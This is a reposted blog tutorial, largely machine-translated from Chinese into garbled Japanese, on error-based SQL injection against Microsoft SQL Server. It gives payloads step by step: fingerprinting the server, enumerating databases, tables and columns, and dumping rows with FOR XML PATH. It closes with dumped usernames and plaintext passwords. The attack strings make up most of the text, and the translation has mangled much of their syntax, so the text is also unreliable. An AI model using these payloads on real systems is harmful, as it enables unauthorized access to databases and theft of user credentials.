MSSQL SQLインジェクションが戻って取得します

データが0x01の分析

①データベースの種類を決定します

そして、(sysobjectsにから選択*)が存在する - MSSQL(また、サーバー名SQL)と正常に戻る
と(sysobjectsにからSELECT COUNT(*))をEXISTS -時々 、上記の文は、このヘクタールをしようとすることは不可能です

②裁判官Databaseバージョン      

 

 

正しいデータベースMSSQLを返します。

0X02裁判官Databaseバージョン

?ID = 1,1 = @@バージョン -

?ID = 1、サブストリング(()バージョンを@@選択、22,4)= '2008'-

- 非エコーモードの場合は、データベースの2008年版は、通常のコピーへの復帰コード2008は、最初の文を実行レンダリング(似ている)で、バックである:2番目のステートメントは、レンダリングを実行している:(それがある場合には、2008年には正常に戻るだろう)

0X03は、すべてのデータベースの数を取得します。

そして1 =(master..sysdatabasesからQUOTENAME(数(名))を選択します) -

2. 1 =(CAST(カウント(名)VARCHARなど)master..sysdatabasesから%の2bchar(1)選択) -
STR(COUN、および1 =((QUOTENAMEを選択カウント(名前を選択しそして1 =を( ))からmaster..sysdatabases DBID> 5) -
    1 =(STRを選択します(数(名))%2bに'|' master..sysdatabases DBID> 5)から-
    と1 =((キャストを選択DBID> master..sysdatabasesから(1))%の2bchar VARCHARとして(名前)をカウント5) -
说明:DBID 1-4从的数据库一般为系统数据库。

 

 

データベースへの0x05のアクセス

そして1 =() ''(XMLパスのmaster..sysdatabasesからQUOTENAME(名前)を選択) -

そして1は=( '|' %の2bnameの%2bに '|' を選択XMLパスのmaster..sysdatabasesからの( '')) -

 

0x06では、現在のデータベースを取得します。

そして、DB_NAME()> 0

1 =(セレクトDB_NAME()) -

 

 

0x07の

⑦(二つの文が使用するために利用可能である)は、現在のデータベース内のテーブルを取得[次の文は、すべてのデータベーステーブルのためのBLAST(上記限定MSSQL2005など)であってもよいです]

そして1 =(QUOTENAME(名前を選択しますから) データベース名WHERE XTYPE = ..sysobjects 'U-' XML FOR PATH( '')) - 
    1 =(SELECT。 '|' %% 2bnameの2B '|データベース名から'。 .sysobjects FOR XTYPE = 'U' XMLパス( '')) - 図のコードのテスト結果のコピー:敏感テーブルを与えるために3:Whir_Sec_Users / Whir_Mem_Member / Whir_Mem_MemberGroup

 

 

[ahcmd] [Siwebtmp] [管理者]

0x08に

コラム⑧指定したテーブルのバースト(上記の限定MSSQL2005と)のすべての列のリストを取得します:   

1 =(QUOTENAME(名前を選択からの) 名前は=「指定されたテーブル名」idは=(データベース名..sysobjectsからIDを選択し、データベース名..syscolumns)XMLのパス(「」)) - 
    および= 1( %の2bnameの%2bと| ''を選択から| '' ID = XMLパスの( ''(名前= '指定したテーブル名'データベース名..sysobjectsからIDを選択)データベース名..syscolumns )) -

レンダリング:情報が占めているため、かどうか、私は私のメッセージの目的の管理者は、情報管理者を取得するだけで、関連する情報は、この方法によって得ることができる実証することはないですよ。

[ID] [名] [パスワード] [ホーム]

 

 

0x09のバーストフィールド

获取指定数据库中的表的列的数据库逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本):  

  and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(''))--
一次性爆N条所有字段的数据(只限于mssql2005及以上版本):
    and 1=(select top N * from 指定数据库..指定表名 FOR XML PATH(''))--复制代码第一条语句:and 1=(select top 1 * from 指定数据库..指定表名 FOR XML PATH(''))--测试效果图:----------------------------------加上where条件筛选结果出来会更加好,如:where and name like '%user%'  就会筛选出含有user关键词的出来。用在筛选表段时很不错。

注意:在使用一次获取数据库信息的语句时,请使用火狐浏览器,笔者测试 IE8、360急速浏览器、猎豹浏览器均卡死,火狐浏览器也会导致出现几秒钟的卡死,弹出框框,我们点击“停止脚本”就会得到初步解决。!!!!!!!!!!!!!!!!!!!!至此,我们已经得到了账户信息了,至于管理员的呢,哈哈,大家自行测试时换表啥的就好了。

<id>1</id><name>alex</name><password>HACKER</password><home>LLLAS</home><id>2</id><name>BOM</name><password>QWE123z</password><home>bananqu</home><id>3</id><name>Csle</name><password>hu1982</password><home>jiujinsa</home><id>4</id><name>Fsjam</name><password>qwoe555</password><home>www</home><id>5</id><name>admin</name><password>admin</password><home>admin1111</home>

おすすめ

転載: www.cnblogs.com/-zhong/p/10944660.html